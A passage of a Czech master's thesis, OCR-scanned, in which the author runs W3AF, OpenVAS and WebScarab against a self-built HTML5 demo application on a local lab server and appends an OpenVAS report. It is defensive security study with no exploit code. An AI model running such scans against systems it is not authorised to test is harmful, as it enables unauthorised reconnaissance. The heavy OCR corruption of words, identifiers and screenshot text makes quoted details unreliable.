HTTP a HTTPS snazvem WebScarab, a tak jako pfedchozi dva nastroje i tento je
distribuovan pod licenci GPL. Nejcastéj$i pouziti tohoto ndastroje je ve formé proxy
aplikace pro zachytavani komunikace webového prohlizece se serverem. Nejednad se
ovSem o jednoduchy néstroj, ktery by stisknutim jednoho tlacitka provedl testy
zranitelnosti aplikace, ale je urcen piedevSim pro zkuSenéjsi testery zabyvajici se

bezpecnosti webovych aplikaci.

Eilo View Teols Help
SSICALF | SessioniD Analysis | Scripted | Fragments | Fuzzer | Compare | Search | SAML
Proxy Manual Reque

13 webscarab

Obrazek 22: OWASP WebScarab
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4.4 Testovani bezpeCnosti vytvoirené webové aplikace

1) Navrzenou aplikaci W3AF pro testovani bezpecnosti webovych aplikaci byl proveden
test vytvoiené webové aplikace demonstrujici aplikacni bezpecnost technologie HTMLS
prostfednictvim integrovaného profilu ozna¢eného OWASP TOPI10 s doplnénim vSech
ostatnich integrovanych typt Utokti na pozadované zranitelnosti. Profil je vytvofen vySe
zminovanou celosvétovou otevienou organizaci zabyvajici se bezpecnosti webovych
aplikaci obsahujici 10 nejzavaznéjSich bezpecnostnich zranitelnosti specifikovanych

na strankach OWASP [24].

\, Applications Places System [>_]

r  [4 SatApr27, 9:43 AM

* w3af - 192.168.0.101
Profiles Edit Tools Configuration Help

R L - DGR Gl

Scan config | Log Results Exploit

profiles Target: |http://192.168.0.101/htmiSappsec | | 4 clear| | %
empty_profile - = e B
Plugin Active
OWASP_TOP10 -
ASilior + audit ]
audit_high_risk 4 auth
bruteforce +| bruteforce
fast_scan + discovery @
full_audit N
+| evasion
full_audit_manual_disc
- - (3 grep [ ]

sitemap

+ mangle

web_infrastructure

The Open Web Application Security Project (OWASP) is a

worldwide free and open community focused on

improving the security of application software. OWASP

searched for and published the ten most common

security flaws. This profile search for this top 10 security

Plugin i flaws. For more information about the security flaws:
.owasp.orgfindex.php/OWASP_Top_Ten_Project .

+ output @

w3af - 192.168.0.101

Obrazek 23: W3AF - OWASP Top 10

Pro spusténi aplikace W3AF bylo zvoleno prostiedi linuxové distribuce pro penetracni
testovani BackTrack Linux ve verzi 5r3. Testovani prob&hlo na vytvoreném lokalnim
webovém serveru IIS 7.5 spole¢nosti Microsoft ve standardni vychozi konfiguraci
s nastavenou IP adresou 192.168.0.101. V pribéhu testu (Obrazek 24) byla ve webové
aplikaci HTML5 Application Security nalezena zranitelnost typu XSRF (Cross-site
Request Forgery) a zranitelnost typu ClickJacking (Obrazek 25).
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Sat Apr27, 4:16 PM

Scanconﬁg‘ Log ‘Fesul's Exploit

o % Information & Ermor

[Sat 27 Apr 2013 04:09:03 PM EDT] - [99] tuto with 717 repetitions.
[Sat 27 Apr 2013 04: 3 PM EDT] - [100] strojem with 717 repetitions.
[Sat 27 Apr 2013 04: 3 PM EDT] The whole target has no protection (X-Frame-Options header) against Clickjacking attack
[Sat 27 Apr 2013 3 PM EDT] The remote Web server sent a strange HTTP response code: "405" with the message: "Method Not Allowed"
manual inspection is advised. This information was found in the requests with ids 88, 640, 727, 759, 762, 801 to 802, 822 to 823, 841 to 844, 874 to
877, 899 to 902, 931 to 934, 979, 1066, 1114 to 1116, 1139 to 1141, 1294 to 1364, 1789 to 1859, 2013 to 2015, 2040 to 2042, 2050 to 2051, 2054 to
2055, 2058 to 2059, 2062 to 2063, 2066 to 2067, 2080 to 2082, 2107 to 2109, 2123, 2138, 2188 to 2208, 2339 to 2359, 2419 to 2424, 2466 to 2471,
2490 to 2493, 2518 to 2521, 2543, 2569, 2681 to 2734, 3059 to 3112, 3237 to 3241, 3276 to 3280, 3300 to 3301, 3321 to 3322, 3328, 3334, 3347 to
3348, 3368 to 3369, 3379 to 3381, 3397 to 3399, 3423 and 3429.

3 PM EDT] The URL: "http://192.168.0.101/htmI5appsec” sent these cookies

3 PM EDT] - ASPSESSIONIDAQDCARD: [EHGHBCFAMBPNOPN)GJOCHB; patl

1- ASPSESSIONIDAQDCARD: IEHGHBCFAMBPNOPN)GJOCHB; Patt “
3 PM EDT] The URI: "http://fonts.googleapis.com/css?family=0pen Sans Condensed:700,300,300italic" has a parameter
Audit progress: 0.0 % - ETA: 00d 00h 00m 00s
Not running.

131.69 197.16 263.38 329.59 395.06 461.28 526.75 592.97

w3af - 192.168.0.101

Obrazek 24: W3AF - pribéh testu

] Sun Apr 28, 2:40 AM

Scan config Log | Results | Exploit

KB Browser ‘ URLs Request/Response navigator

® wuln & Info [ Misc [The whole target has no protection (X-Frame-Options header) against Clickjacking attack

Knowledge Base
strangeParameters
collectCookies
serverHeader
strangeHTTPCode
afd
allowedMethods
hmap
fingerprint_os

Request | Response

A
A
clickjacking
= clickjacking
A Possible Clickjacking attack

w3af - 192.168.0.101

Obrazek 25: W3AF - vysledek provedeného testu

2) Dalsi test probéhl pomoci aplikace OpenVAS s nastavenym profilem pro testovani na IP
adresu lokalniho webového serveru, tedy 192.168.0.101 a zvolenou testovaci metodou Full

Fast Ultimate(Obrazek 26).
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Sun Apr 28, 3:12 AM

reenbone
ecurity Assistant Sun Apr 28 42 2013 (UTC)

) ~
Tasks B8 “No autorairezh ¥ | \Asply ovamiss ¥ ol

DScan Management m
o Tasks Task A == Threat |Trend |Actions
(>} ]2

© New Task

o Notes
© Overrides

o Performance
= Configuration

 Scan Configs

o Targets

o Credentials

o Agents

o Escalators

o Schedules

o Report Formats

o Slaves
o Administration

o Users

o NVT Feed

o Settings
CHelp

o Contents

© About

Greenbone Security Assistant (GSA) Copyright 2008-2011 by Greenbone Networks GmbH, ww.greenbone.net

g Greenbone Security As...

Obrazek 26: OpenVAS - nastaveny profil pro testovani

Po ukonceni testu se zobrazi obrazovka se souhrnnymi informacemi o provedeném testu
S moZznosti stazeni souhrnné zpravy v riiznych formatech napt. pdf, html a dalsi. Vypis této
souhrnné zpravy je umistén v piiloze Pl této diplomové prace.

N\, Applications Places System [ Sun Apr 28, 3:41 AM

=52

# Greenbone Istrator | Logout
i Security Assistant Sun Apr 28 07:41:17 2013 (UTC)

e Lt Name: FullFastUltimateTest Back to Tasks
o Tasks Comment:
o New Task Config:  Full and fast ultimate
© Notes Escalator:
o Overrides Schedule: (Next due: over)
& Performance Target:  HIMLSAppSec
Slave:
Status:
Reports: 1 (Finished: 1)

O Configuration
o Scan Configs
o Targets
o Credentials
© Agents Reports for "FullFastUltimateTe S
o Escalators
o Schedules
o Report Formats
o Slaves

O Administration
o Users
o NVT Feed
o Settings Notes on Results of "FullFastUitimateTest" B &

Sun Apr 28 07:13:13 2013
Done

CHelp
o Contents
o About

Overrides on Results of "FullFastUltimateTest" B &

i T [o [

@ Greenbone Security As...

Obrazek 27: OpenVAS - souhrnné informace

3) Posledni test probéhl pomoci aplikace WebScarab, kterd zaznamenava veskerou ¢innost
webového prohlizeCe a serveru. Tento nastroj je nutné nejdiive spustit a nechat bézet
naptiklad na li§t€ nebo na pozadi za webovym prohlizeCem s nastavenou proxy adresou

sité tohoto nastroje, ve kterém se vytvoiend webova aplikace postupné prochazi a testuje.
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V pribéhu testovani webové aplikace se kontroluje, jaké pfendSené parametry se
ve vysledcich komunikaci mezi serverem a webovym prohlize¢em nachazeji (Obrazek 28)

a ty se poté vyhodnoti.

Sun Apr 28, 6:16 AM &

* WebScarab

Eile View Tools Help
XSS/CRLF | SessionID Analysis | Scripted | Fragments | Fuzzer | Compare | Search [ SAML
Summary Messages [ Proxy Manual Request I Spider I Extensions |
[]Tree Selection filters conversation list
url | Methods | Status |Passible |..| Injection |Set-Cookie| Forms |Hidden fie..] Comments | Domxss | Scripts |File up|
o C http://192.168.0.101:80/
o [ http:/fonts.googleapis.con [m] [m] [m] [m} [m] [m] [m] [m} d
< 1 [ D
.| Date [Method H Path Parameters| Status | Origin |...| Size | Possible Injection
a2 5 |GET P a. o i jacking vyvojar.asp [furl=aHR... [200 OK [Pro: 398 v
a1 GE P a. o 00 OK |Pro 8686 O
E] GE P a. o ipa 04 N...|Pro O
7 GE P a. o 0.5 04 N...|Pro O
GE P a. o alize.css 04 N...|Pro O
GE P a. o g.css 04 N...|Pro O
GE P a. o amework.js 04 N...|Pro O
GE P a. o emplate.css 04 N...|Pro O
GE P css 7family=0.../200 0K [Pro |EEE] ]
1 GE P a. o le.css 04 N...|Pro O
10 GE P a. o nizrjs 04 N...|Pro O
B GE P a. o 1g.35p 00 OK |Pro 7118 O
B GE P a. o ipa 04 N...|Pro O
7 0GE P a. o lize. css 04 N...|Pro O
6 0GE P a. o 04 N...|Pro O
5 0GE P a. o amework.js 04 N...|Pro O
4 0GE P a. o emplate.css 04 N...|Pro O
3 0/GE pifffont css 7family=0.../200 0K [Pro |EEE] ]
2 0GE p:/f192.168.0.101:80 |/ht nizr.js 04 N...|Pro O
1 0GE p:/f192.168.0.101:80 |/ht 00 oK [Pro |s686 O

[Mozilla Firefox] ¥ websScarab

Obrazek 28: WebScarab - ukazka vypisu komunikace

Ze zranitelnosti dokaze identifikovat pouze moznou nachylnost pozadavku na XSS (Cross-

Site Scripting), CRFL injection a kradeZ Session ID (Obrazek 29).

“\ Applications Places System [ Sun Apr 28, 6:18 AM 2

* WebScarab
Eile View Tools Help
XSS/CRLF | SessionID Analysis | Scripted | Fragments | Fuzzer | Compare | Search [ SAML

Summary I Messages " Pproxy I Manual Request I Spider I Extensions |
Suspected Vulnerabilities

Method | Host | Path [Parameters| Status| origin |..[ Size | XS5 | XSS parameters|

GET  |hitp:/192.158.0,101:80 |t i % 1g_vyvojar.asp [7url=aHR... [200 OK |Proxy | 398 | url, top, left, height, widl

< | ] | D
|[Confirmed vulnerabilities

I0]_Date | Method] Host Path [Parameters| status]| origin[...| Siee | Possible Injection |
] Il D
Edit Test Strings | Check

[Mozilla Firefox] ¥ websScarab

Obrazek 29: WebScarab - nalezeni mozné zranitelnosti XSS
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4.5 Vyhodnoceni provedenych testii

Kazda uvedena aplikace pro testovani bezpec¢nosti pracuje svym specifickym zptisobem,
proto se neda jednoznacné urcit, kterd je nejvhodnéjsi. Da se ovSem fici, zZe nejjednodussi
na pouziti je aplikace W3AF, tykajici se jak instalace a konfigurace, tak i samotného
pouziti. Aplikace OpenVAS je velmi slozita na instalaci a konfiguraci, nicméné je pomérné
jednoduché na pouziti. A posledni uvedena aplikace WebScarab je jednoducha na instalaci

a konfiguraci, ale velmi slozitd na pouziti, vyzadujici pomérn¢ hluboké a rozsahlé znalosti.

Zranitelnosti demonstrované ve vytvoiené webové aplikaci typu Client-side SQL injection
a Web Messaging nalezeny nebyly ani v jednom z navrzenych aplikaci pro testovani
bezpecnosti. Jednou z pticin, pro¢ vysledky provedenych testli dopadly timto zpisobem je,
Ze soucCasné testované zranitelnosti uvedené napt. v profilu W3AF néstroje pro testovani
OWASP Top 10, ale i v dalsich profilech této aplikace, neobsahuji zadnou z novych
specifikaci technologie HTMLS5, coz mulze byt zpisobeno tim, Ze findlni podoba
plnohodnotného standardu této technologie se planuje az na rok 2014, a to i pfesto, Ze

kompletni definice technologie HTMLS jiz byla uzaviena v prosinci roku 2012.

Ztoho divodu prozatim zistdva testovani bezpecnosti technologie HTMLS disté
na znalostech, schopnostech a zkuSenostech testera webovych aplikaci. Pravé ke znalostem
a pochopeni jednotlivych specifikaci by méla ve velké mife ptispét vytvorend webova

aplikace pro demonstraci vybranych zranitelnosti technologie HTMLS.
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ZAVER

Tato prace predstavuje stru¢né sezndmeni s bezpecnosti webovych standardl, kterd piinasi
dalsi generace webovych technologii z rodiny HTMLS5. Vychdzi z vefejné dostupnych
zdroju, predevsim ze specifikace technologie HTMLS, kterd je k dispozici na strankach
mezinarodniho konsorcia World Wide Web Consortium (W3C) vyvijejici a spravujici
standardy pro fungovani webovych stranek. Z mezinarodnich konferenci BLACK HAT
zabyvajicich se bezpecnosti informacnich technologii, konajicich se pravideln¢ v Evrop¢,

USA a nové Abu Dhabi. A v neposledni fad¢ z projektu oteviené komunity pro bezpecnost

webovych aplikaci OWASP.

S kazdou novou technologii pfichdzi i fada novych bezpe¢nostnich incidentt. Cilem této
prace je kromé vSeobecnych informaci o bezpecnosti webovych aplikaci a jejich definic,
také ukazat mozna mista, kde a jakymi metodami mtze byt proveden Utok vyuzivajici
zranitelnosti technologie HTMLS. Protoze nejjistéjSim zpsobem jak se ucinné branit proti
moznym zneuzitim webovych aplikaci je znalost moZznych rizik a hrozeb a jejich

neignorovanim.

I kdyz by se piectenim této prdce mohlo nabyt dojmu, Ze technologie HTMLS je

pfinejmensim velmi nebezpe€na, jelikoZ je sama dira a zranitelnost a proto by ji bylo

24

kterakoliv jina technologie. Pfinasi pouze nové moznosti, které mohou byt jako jakékoliv

jiné moZnosti, jinych technologii, zneuZity.
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ZAVER V ANGLICTINE

This publication presents a brief acquaintance of security threats and risks that produces
farther generation of web technologies from ,,the family* HTML. It issues from the public
available resourses, especially from the spcification of technology HTML5 that is
superable on the web sides of international consortium World Wide WEB Consortium
(W3C). This consortium generates and administrates the standards for the working of web
sides. And further from the international symposiums BLACK HAT that deals with
the security of information technologies and usually take place regularly in Europe,
The United States of America and now as well in Abu Dhabi. And in the end I used

information from project of the open web application security OWASP.

With every new technology is coming a lot of new security incidents. The target of this
publication is, within common information about security of web applications and their
definitions, presentation possible places, where and what methods the attack can be doing
in the situation when the technology HTMLY5 is vulnerable. The best way how we can
effectively defense from abusing web applications is knoledge of possible risks and threats

and by avoing of ignoration it.

By reading this text we can think that technology HTMLY5 is dangerous bacause there are a
lot of gaps and vulnerability and the best way is don’t using it. The reverse is true.
The technology HTMLS isn't more dangerous than every further technology. It only brings
new potential which can be as the others technologies abused.
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SEZNAM PRILOH
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PRILOHA P |. REPORT SUMMARY APLIKACE PRO TESTOVANI
BEZPECNOSTI OPENVAS

Summary

This document reports on the results of an automatic security scan. The report first summarises the results found. Then, for each
host, the report describes every issue found. Please consider the advice given in each description, in order to rectify the issue.

Overrides are on. When a result has an override, this report uses the threat of the override.
Notes are included in the report.

This report might not show details of all issues that were found. It only lists hosts that produced issues. Issues with the threat level
"Low" are not shown. Issues with the threat level "Log" are not shown. Issues with the threat level "Debug" are not shown. Issues
with the threat level "False Positive" are not shown.

This report contains all 3 results selected by the filtering described above. Before filtering there were 37 results.

Scan started: Sun Apr 28 03:17:47 2013

Scan ended: Sun Apr 28 03:31:10 2013

Host Summary

Host High Medium Low Log False Positive
192.168.0.101 0 3 0O 0 O
Total: 1 0 3 0O 0 O

Results per Host

Host 192.168.0.101

Scanning of this host started at: Sun Apr 28 03:17:48 2013

Number of results: 3

Port Summary for Host 192.168.0.101

Service (Port) Threat Level
epmap (135/tcp) Medium

general/tcp Medium

Security Issues for Host 192.168.0.101

epmap (135/tcp)

Medium (CVSS: 5.0)

NVT: DCE Services Enumeration (OID: 1.3.6.1.4.1.25623.1.0.10736)

Distributed Computing Environment (DCE) services running on the remote
host

can be enumerated by connecting on port 135 and doing the appropriate
queries.


file:///D:/UTB_Zlin/Diplomova%20prace/images/test/report-1a53c604-6434-4357-b2d6-ada31a9d076f%20(1).html%23192.168.0.101

An attacker may use this fact to gain more knowledge
about the remote host.
Solution : filter incoming traffic to this port.

epmap (135/tcp)

Medium (CVSS: 5.0)

NVT: DCE Services Enumeration (OID: 1.3.6.1.4.1.25623.1.0.10736)

Distributed Computing Environment (DCE) services running on the remote

host

can be enumerated by connecting on port 135 and doing the appropriate

queries.

An attacker may use this fact to gain more knowledge

about the remote host.

Here is the list of DCE services running on this host:

Port: 49152/tcp
UUID: d95afe70-a6d5-4259-822e-2c84dalddb0d, version 1
Endpoint: ncacn ip tcp:192.168.0.101[49152]

Port: 49153/tcp
UUID: f6beaff7-1e19-4fbb-9f8f-0b89e2018337¢c, version 1
Endpoint: ncacn ip tcp:192.168.0.101[49153]
Annotation: Event log TCPIP
UUID: 30adc50c-5cbc-46ce-9a0e-91914789%9e23¢c, version 1
Endpoint: ncacn ip tcp:192.168.0.101[49153]
Annotation: NRP server endpoint
UUID: 3c4728c5-f0ab-448b-bdal-6cellebl0a6d6, version 1
Endpoint: ncacn ip tcp:192.168.0.101[49153]
Annotation: DHCPv6 Client LRPC Endpoint
UUID: 3c4728c5-f0ab-448b-bdal-6cellebla6bd5, version 1
Endpoint: ncacn ip tcp:192.168.0.101[49153]
Annotation: DHCP Client LRPC Endpoint
UUID: 06bba54a-be05-49f9-b0a0-30f£790261023, version 1
Endpoint: ncacn ip tcp:192.168.0.101[49153]
Annotation: Security Center

Port: 49154/tcp
UUID: 86d35949-83c9-4044-b424-db363231fd0c, version 1
Endpoint: ncacn ip tcp:192.168.0.101[49154]
UUID: a398e520-d59a-4bdd-aa7a-3¢c1e0303a511, wversion 1
Endpoint: ncacn ip tcp:192.168.0.101[49154]
Annotation: IKE/Authip API
UUID: 552d076a-cb29-4e44-8bba-dl5e59e2c0af, version 1
Endpoint: ncacn ip tcp:192.168.0.101[49154]
Annotation: IP Transition Configuration endpoint
UUID: 98716d03-89%ac-44c7-bb8c-285824e51cd4a, version 1
Endpoint: ncacn ip tcp:192.168.0.101[49154]
Annotation: XactSrv service
UUID: 201ef99%9a-7fa0-444c-9399-19ba84fl2ala, version 1
Endpoint: ncacn ip tcp:192.168.0.101[49154]
Annotation: AppInfo
UUID: 5f54ce7d-5b79-4175-8584-cb65313a0e98, version 1
Endpoint: ncacn_ip tcp:192.168.0.101[49154]
Annotation: AppInfo
UUID: fd7a0523-dc70-43dd-9b2e-9c5ed48225b1, version 1
Endpoint: ncacn ip tcp:192.168.0.101[49154]
Annotation: AppInfo
UUID: 58e604e8-9adb-4d2e-a464-3b0683fb1480, version 1
Endpoint: ncacn_ip tcp:192.168.0.101[49154]
Annotation: AppInfo

Port: 49155/tcp
UUID: 12345778-1234-abcd-ef00-012345678%ac, version 1
Endpoint: ncacn_ip tcp:192.168.0.101[49155]



Named pipe : lsass
Win32 service or process : lsass.exe
Description : SAM access

Port: 49204/tcp
UUID: 367abb81-9844-35f1-ad32-98f038001003, version 2
Endpoint: ncacn ip tcp:192.168.0.101[49204]

Port: 49576/tcp
UUID: 12345678-1234-abcd-ef00-0123456789%9ab, wversion 1
Endpoint: ncacn_ip tcp:192.168.0.101[49576]
Annotation: IPSec Policy agent endpoint

Named pipe : spoolss
Win32 service or process : spoolsv.exe
Description : Spooler service

UUID: 6b5bddle-528c-422c-af8c-a4079%edfed8, version 1
Endpoint: ncacn_ip tcp:192.168.0.101[49576]
Annotation: Remote Fw APIs
Solution : filter incoming traffic to this port(s).
general/tcp

Medium (CVSS: 3.3)

NVT: Source routed packets (OID: 1.3.6.1.4.1.25623.1.0.11834)

The remote host accepts loose source routed IP packets.

The feature was designed for testing purpose.

An attacker may use it to circumvent poorly designed IP filtering

and exploit another flaw. However, it is not dangerous by itself.
Solution : drop source routed packets on this host or on other ingress

routers or firewalls.
This file was automatically generated.



PRILOHA P II. STRUKTURA PRILOZENEHO CD
PriloZené CD obsahuje tyto slozky (adresare):
doc text této diplomové prace V elektronické podobé.

src  zdrojové koédy webové aplikace oznatené HTMLSAppSec demonstrujici aplikacni

bezpecnost vybranych zranitelnosti technologie HTMLS5.



